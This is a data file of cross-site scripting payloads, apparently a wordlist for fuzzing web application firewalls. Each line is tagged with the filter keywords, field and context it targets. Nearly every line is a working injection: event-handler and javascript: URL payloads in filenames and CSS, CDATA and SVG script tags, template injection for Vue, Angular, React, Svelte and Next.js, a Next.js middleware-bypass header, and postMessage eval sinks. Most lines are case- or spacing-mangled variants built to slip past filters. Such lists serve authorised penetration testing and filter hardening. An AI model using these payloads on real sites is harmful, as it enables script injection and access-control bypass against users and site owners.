[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" onlOad="aLErt(1)
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" onload = "alert ( 1 )
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" oNLoad="Alert(1)
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onerror=alert(1)>.jpg
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><iMG src=x oNeRror=ALeRt(1)>.jpg
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"> <img src = x onerror = alert ( 1 ) > .jpg
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><iMg SRc=x oneRroR=AlErt(1)>.jPG
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><img src=x OnerROr=alERT(1)>.jpg
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]'><img src=x onerror=alert(1)>.jpg
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><imG sRC=x OnERror=ALert(1)>.Jpg
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><IMG src=x onerror=alert(1)>.jpg
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]"><img src=x ONErrOr=alert(1)>.jpg
[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]javascript:alert(1)//.pdf
[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]JavasCript:alert(1)//.PDF
[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]javascript:alert(1)//.pdf
[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]javAScrIPt:ALErt(1)//.pdf
[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]jAvAscripT:Alert(1)//.pdf
[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]javascript : alert ( 1 ) //.pdf
[WAF:script,alert|FIELD:filename|CONTEXT:url|ENCODING:utf8]jaVascriPT:ALerT(1)//.pdf
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {background:url(javascript:alert(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]" ) ; } * { background : url ( javascript : alert ( 1 ) ) } //
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {BackgroUND:UrL(jAVaScrIpT:alErT(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]');} * {background:url(javascript:alert(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {backgroUnD:UrL(jaVasCripT:aLeRt(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {background:url(JavAScrIpT:alERt(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {background:url(jAvaScrIPt:aLerT(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {behavior:url(javascript:alert(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {behavior:url(JaVascrIpT:ALErt(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {behavior:url(JaVAsCRIPT:AlERt(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]" ) ; } * { behavior : url ( javascript : alert ( 1 ) ) } //
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {bEhavioR:url(JAvasCripT:ALeRt(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {BehAvioR:url(javascRIpt:alerT(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {-moz-binding:url(javascript:alert(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {-moz-binding:url(JavAsCRipT:AlERt(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {-moz-binding:urL(jaVAScrIPt:aLErt(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {-moz-bIndiNG:urL(jAVAScRipt:AlErt(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} * {-moz-binding:url(javASCRIPt:aleRt(1))}//
[WAF:script,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]" ) ; } * { -moz-binding : url ( javascript : alert ( 1 ) ) } //
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} body {background-image: url(javascript:prompt(1))}//
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} bodY {BackgrouNd-image: url(jaVasCripT:prompT(1))}//
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} bODy {baCKgRound-image: UrL(JAVAsCrIPT:PRoMpt(1))}//
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]" ) ; } body { background-image : url ( javascript : prompt ( 1 ) ) } //
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} body {background-image: url(JAvAscrIpT:ProMpt(1))}//
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} body {background-image: url(JAVascRipT:promPT(1))}//
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} @import url(javascript:confirm(1));//
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} @impoRt uRl(jAVascript:COnfIrm(1));//
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} @import url(JAVascRipT:cONfIrM(1));//
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} @import url(jaVAScRipt:cONFIRM(1));//
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]"
)
;
}
@import
url
(
javascript
:
confirm
(
1
)
)
;
//
[WAF:alert,onerror|FIELD:css|CONTEXT:css|ENCODING:utf8]");} @ImpoRT url(JavascriPt:cONfiRm(1));//
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CDATA[<script>alert(1)</script>]]>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CDATA[<ScRIpt>AlerT(1)</Script>]]>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]> <![CDATA[<script> alert ( 1 ) </script> ]]>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CDATA[<ScRIPT>AlErt(1)</ScRIPT>]]>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CdATA[<SCriPT>alERt(1)</SCriPT>]]>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CDATA[<SCRiPt>alert(1)</SCRiPt>]]>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><![CDATA[<scriPt>aleRt(1)</scriPt>]]>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]>
<x
:
script
xmlns
:
x
=
"http
:
//www.w3.org/1999/xhtml">
alert
(
1
)
</x
:
script>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><x:SCRIpT xmlns:x="http://www.w3.org/1999/xhtml">ALerT(1)</x:SCRIpT>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><x:script Xmlns:X="htTP://www.w3.org/1999/xHTMl">aleRt(1)</x:sCrIPt>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><x:ScRIpt xmlns:x="http://www.w3.org/1999/xhtml">ALErT(1)</x:ScRIpt>
[WAF:script|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><X:SCrIPT xmlns:X="http://www.w3.org/1999/xhTML">aLErT(1)</X:SCrIPT>
[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><svg><script>prompt(1)</script></svg>
[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><svG><sCRIPt>PromPt(1)</sCRIPt></svG>
[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><svg><scriPt>prompt(1)</ScRipT></SVg>
[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><SvG><ScripT>prOmPt(1)</ScripT></svG>
[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]> <svg> <script> prompt ( 1 ) </script> </svg>
[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><sVG><sCrIpt>prompt(1)</sCrIpt></sVG>
[WAF:alert|FIELD:xml|CONTEXT:xml|ENCODING:utf8]><svg><sCrIpT>PromPt(1)</sCrIpT></svg>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><animate onbegin=alert(1) attributeName=x dur=1s>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><aNiMate OnbEGIn=aLert(1) AtTRiButEnaMe=x duR=1s>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]> <svg> <animate onbegin = alert ( 1 ) attributeName = x dur = 1s>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><sVg><animate onbegin=alERT(1) attributeName=x dur=1s>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svG><anImATe onbEgin=ALeRT(1) atTribuTeName=x dUr=1S>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><animate onbegin=AlERT(1) attributeName=x dur=1s>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><SVG><animate onbegin=alert(1) attributeName=x dur=1s>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><set onbegin=alert(1) attributeName=x to=y>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><sEt onBEgin=AlErt(1) attRibUteName=x to=y>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svg><set onbegin=AlERT(1) attributeName=x to=y>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><Svg><set onbegin=alert(1) attributeName=x to=y>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><sVG><set onbegin=AleRT(1) attributeName=x to=y>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]><svG><SeT onBeGin=ALErT(1) aTTrIbutEnAmE=X to=Y>
[WAFnerror|FIELD:svg|CONTEXT:svg|ENCODING:utf8]> <svg> <set onbegin = alert ( 1 ) attributeName = x to = y>
[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><math><maction actiontype="statusline#http://example.com" xlink:href="javascript:alert(1)">CLICK</maction></math>
[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><math><maction actiontype="statusline#http://example.com" xlink:href="jAVAscRiPT:aLErT(1)">CLICK</maction></math>
[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><math><maction actiontype="statusline#http://example.com" xlink:href="jAvAscRipt:aleRt(1)">CLICK</maction></math>
[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><math><maction actiontype=statusline#http://example.com xlink:href=javascript:alert(1)>CLICK</maction></math>
[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><maTH><mactIoN actioNtype="Statusline#hTTP://example.com" Xlink:HREf="jAVascRiPt:ALeRT(1)">CLICk</mactioN></matH>
[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]><math><MActiOn actIontYpe="staTUslinE#htTp://example.com" XLiNK:href="JavasCriPt:aleRt(1)">CLICK</mActION></math>
[WAF:|FIELD:mathml|CONTEXT:html|ENCODING:utf8]> <math> <maction actiontype = "statusline#http : //example.com" xlink : href = "javascript : alert ( 1 ) "> CLICK </maction> </math>
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{constructor.constructor('alert(1)')()}}
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8] { { constructor.constructor ( 'alert ( 1 ) ' ) ( ) } }
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{constructor.constructor('ALERt(1)')()}}
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{constructor.constructor('aLeRt(1)')()}}
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{conSTructor.conStructOr('AleRT(1)')()}}
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{coNstructOr.consTructOr('alert(1)')()}}
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{_c.constructor('alert(1)')()}}
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8] { { _c.constructor ( 'alert ( 1 ) ' ) ( ) } }
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{_c.ConstrUcTor('AlERT(1)')()}}
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{_C.COnstructoR('alert(1)')()}}
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{_c.constructor('aLERt(1)')()}}
[WAF:script,alert|FIELD:vue|CONTEXT:js|ENCODING:utf8]{{_c.constructor('ALErT(1)')()}}
[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onerror=alert(1)>
[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><Img Src=X oNerROR=AleRT(1)>
[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><IMG src=x ONeRROr=aleRT(1)>
[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]'><img src=x onerror=alert(1)>
[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onERRor=alERT(1)>
[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"> <img src = x onerror = alert ( 1 ) >
[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><img SRC=x oneRRoR=aleRt(1)>
[WAF:script,alert|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]"><img src=x oNerROR=alert(1)>
[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html="<img src=x onerror=alert(1)>"
[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html="<img src=x OnerrOr=alert(1)>"
[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-HTml="<img srC=x ONERrOR=ALErT(1)>"
[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-HtmL="<iMg src=x onerrOR=alErt(1)>"
[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html = " <img src = x onerror = alert ( 1 ) > "
[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]' v-html='<img src=x onerror=alert(1)>'
[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html="<Img src=x onerror=alert(1)>"
[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html="<img src=x OnerROR=aLeRt(1)>"
[WAF:script,onerror|FIELD:vue|CONTEXT:html_attr|ENCODING:utf8]" v-html="<img src=x ONERRoR=alERt(1)>"
[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: '<img src=x onerror=prompt(1)>'}} x="
[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: '<ImG src=x oNerrOr=pROMpt(1)>'}} x="
[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: '<img src=x OnERROr=prompt(1)>'}} x="
[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: <img src=x onerror=prompt(1)>}} x="
[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: '<ImG src=x onerror=prompt(1)>'}} x="
[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" DangerouslySeTInNerHTMl={{__HtmL: '<Img srC=x onERrOR=Prompt(1)>'}} x="
[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" danGerouslysEtInnErHTML={{__hTMl: '<img src=x onerroR=PrOMpT(1)>'}} x="
[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML={{__html: '<img src=x oNerrOr=pROmpT(1)>'}} x="
[WAF:alert,onerror|FIELD:react|CONTEXT:html_attr|ENCODING:utf8]" dangerouslySetInnerHTML = { { __html : ' <img src = x onerror = prompt ( 1 ) > ' } } x = "
[WAF:alert,onerror|FIELD:react|CONTEXT:js|ENCODING:utf8]'; confirm(1); //
[WAF:alert,onerror|FIELD:react|CONTEXT:js|ENCODING:utf8]'; COnfIRM(1); //
[WAF:alert,onerror|FIELD:react|CONTEXT:js|ENCODING:utf8]'; cONfirm(1); //
[WAF:alert,onerror|FIELD:react|CONTEXT:js|ENCODING:utf8]' ; confirm ( 1 ) ; //
[WAF:alert,onerror|FIELD:react|CONTEXT:js|ENCODING:utf8]'; CoNfIrM(1); //
[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]>{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]>{{'a'.conStruCTor.prOtotypE.cHarat=[].join;$EvAl('X=alERT(1)');}}
[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]>{{'a'.constructor.prototype.charAt=[].join;$EVaL('x=aLeRT(1)');}}
[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]>{{'a'.consTruCtor.proToType.chaRaT=[].join;$EVaL('X=ALeRt(1)');}}
[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]> { { 'a'.constructor.prototype.charAt = [].join ; $eval ( 'x = alert ( 1 ) ' ) ; } }
[WAF:script|FIELD:angular|CONTEXT:html|ENCODING:utf8]>{{'a'.constructor.prototype.charAt=[].join;$evaL('x=aLERt(1)');}}
[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html="<img src=x onerror=alert(1)>"
[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html="<img src=x onerrOr=alert(1)>"
[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html="<img src=x oneRrOr=alErt(1)>"
[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html="<iMG src=x onerror=alert(1)>"
[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html = " <img src = x onerror = alert ( 1 ) > "
[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" nG-biND-HtmL="<img SRc=X oneRROr=AleRt(1)>"
[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" Ng-binD-HtMl="<img src=x OneRrOR=alert(1)>"
[WAF:script|FIELD:angular|CONTEXT:html_attr|ENCODING:utf8]" ng-bind-html="<iMG src=x oNeRror=aLeRt(1)>"
[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html "<img src=x onerror=prompt(1)>"}
[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html <img src=x onerror=prompt(1)>}
[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]> { @html " <img src = x onerror = prompt ( 1 ) > " }
[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html "<iMg src=x ONeRrOR=prOmpT(1)>"}
[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html "<img src=x OnERRor=prompt(1)>"}
[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@htmL "<Img Src=x onerROr=promPt(1)>"}
[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@hTmL "<ImG Src=x OneRRoR=prompT(1)>"}
[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html "<img src=x ONError=proMpT(1)>"}
[WAF:alert|FIELD:svelte|CONTEXT:html|ENCODING:utf8]>{@html "<iMG src=x onerror=prompt(1)>"}
[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on:click={alert(1)} foo="
[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on:click={aLERt(1)} foo="
[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on:click={ALeRt(1)} foo="
[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on:CLick={aleRt(1)} Foo="
[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on : click = { alert ( 1 ) } foo = "
[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]" on:click={alerT(1)} foo="
[WAF:alert|FIELD:svelte|CONTEXT:html_attr|ENCODING:utf8]' on:click={alert(1)} foo='
[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_next/image?url=https://example.com&w=1&q=1"><script>alert(1)</script>
[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_next/image?url=https://example.com&w=1&q=1"><SCRiPt>aLerT(1)</SCRiPt>
[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_next/image?url=https://example.com&w=1&q=1"><sCripT>AlErt(1)</sCripT>
[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_Next/ImAGe?urL=httPs://EXAmpLE.Com&w=1&q=1"><scRiPT>ALert(1)</scRiPT>
[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_next/image?url=https://example.com&w=1&q=1"><scRiPT>alert(1)</scRiPT>
[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_next/image?url = https : //example.com&w = 1&q = 1"> <script> alert ( 1 ) </script>
[WAFnerror|FIELD:nextjs|CONTEXT:url|ENCODING:utf8]/_neXt/image?uRL=httPs://exaMPle.cOm&w=1&q=1"><ScRipt>alerT(1)</sCRipt>
[WAFnerror|FIELD:nextjs|CONTEXT:http|ENCODING:utf8]x-middleware-subrequest: middleware
[WAFnerror|FIELD:nextjs|CONTEXT:http|ENCODING:utf8]x-middLEware-subrEquest: miDDLeWAre
[WAFnerror|FIELD:nextjs|CONTEXT:http|ENCODING:utf8]x-middleware-subrequest : middleware
[WAFnerror|FIELD:nextjs|CONTEXT:http|ENCODING:utf8]x-middleWAre-suBrequest: Middleware
[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query": "query { __typename }", "variables": {"id": "<img src=x onerror=alert(1)>"}
[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query": "query { __typename }", "variables": {"id": "<img src=x ONErROr=alert(1)>"}
[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query": "query { __typename }", "variables": {"id": "<img src=x oNerrOR=alerT(1)>"}
[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "queRy": "querY { __typEnAmE }", "variabLes": {"Id": "<iMg src=x oneRrOr=alert(1)>"}
[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8], [ICODE]query: query { __typename }, variables: {id: [/ICODE]<img src=x onerror=alert(1)>"}
[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query": "query { __typename }", "variables": {"id": "<Img src=x OnerroR=alErT(1)>"}
[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query": "query { __typename }", "variables": {"id": "<Img src=x onerror=alert(1)>"}
[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "query" : "query { __typename } ", "variables" : { "id" : " <img src = x onerror = alert ( 1 ) > " }
[WAF:|FIELD:graphql|CONTEXT:json|ENCODING:utf8]", "qUeRy": "qUerY { __typeName }", "vaRiabLEs": {"Id": "<ImG src=x oNeRRor=aLeRt(1)>"}
[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'; pc.createDataChannel('x', {id: 1, priority: 'high'}).onopen = function(){alert(1)}; //
[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]' ; pc.createDataChannel ( 'x', { id : 1, priority : 'high' } ) .onopen = function ( ) { alert ( 1 ) } ; //
[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'; pc.createDataChannel('x', {id: 1, priority: 'high'}).onopen = fUNCtiON(){aLert(1)}; //
[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'; Pc.crEatedatAChanneL('x', {id: 1, PrIoriTy: 'hIGh'}).oNopen = funCtion(){alErt(1)}; //
[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'; pc.creAteDATaChanneL('x', {id: 1, PrioRitY: 'High'}).onopen = FuNCTiON(){alerT(1)}; //
[WAF:script,alert|FIELD:webrtc|CONTEXT:js|ENCODING:utf8]'; pc.createDataChannel('x', {id: 1, priority: 'high'}).onopen = fuNctION(){aLERT(1)}; //
[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://example.com/"><script>alert(1)</script>
[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://ExamPlE.COM/"><Script>alerT(1)</scripT>
[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://example.com/'><script>alert(1)</script>
[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://example.com/"><SCRiPT>alERT(1)</SCRiPT>
[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://example.com/"><ScRIpT>aleRt(1)</ScRIpT>
[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]wS://eXampLe.com/"><scrIpT>alErt(1)</scrIpT>
[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws : //example.com/"> <script> alert ( 1 ) </script>
[WAF:script,alert|FIELD:websocket|CONTEXT:url|ENCODING:utf8]ws://example.com/"><scriPT>alert(1)</scriPT>
[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]'; window.addEventListener('message', function(e){eval(e.data)}); //
[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]'; wIndoW.addEveNtListENer('MessAge', funcTion(E){EVAL(e.daTa)}); //
[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]'; wInDow.addEventListener('message', FUNCTION(e){EvAl(e.data)}); //
[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]'; wINdOW.addEventListener('message', FUnction(e){EVal(e.data)}); //
[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]' ; window.addEventListener ( 'message', function ( e ) { eval ( e.data ) } ) ; //
[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]'; WINdOW.addeveNtlIstEner('mESsAGe', FUnCtioN(E){evAL(e.data)}); //
[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localStorage.setItem('x', '<img src=x onerror=prompt(1)>'); //
[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]' ; localStorage.setItem ( 'x', ' <img src = x onerror = prompt ( 1 ) > ' ) ; //
[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]; localStorage.setItem([ICODE]x, [/ICODE]<img src=x onerror=prompt(1)>'); //
[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localStorage.setItem('x', '<img src=x ONeRrOR=PRoMPt(1)>'); //
[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localStorage.setItem('x', '<imG src=x onerROr=prOMpT(1)>'); //
[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localStorage.setItem('x', '<IMg src=x onerror=prompt(1)>'); //
[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; lOCaLSToRage.setITem('X', '<img src=x onErRoR=pROmpt(1)>'); //
[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localsToRage.sEtitEm('x', '<iMg Src=X onerrOr=PRomPt(1)>'); //
[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localStorage.setItem('x', '<img src=x OneRror=prompt(1)>'); //
[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionStorage.setItem('x', '<svg onload=alert(1)>'); //
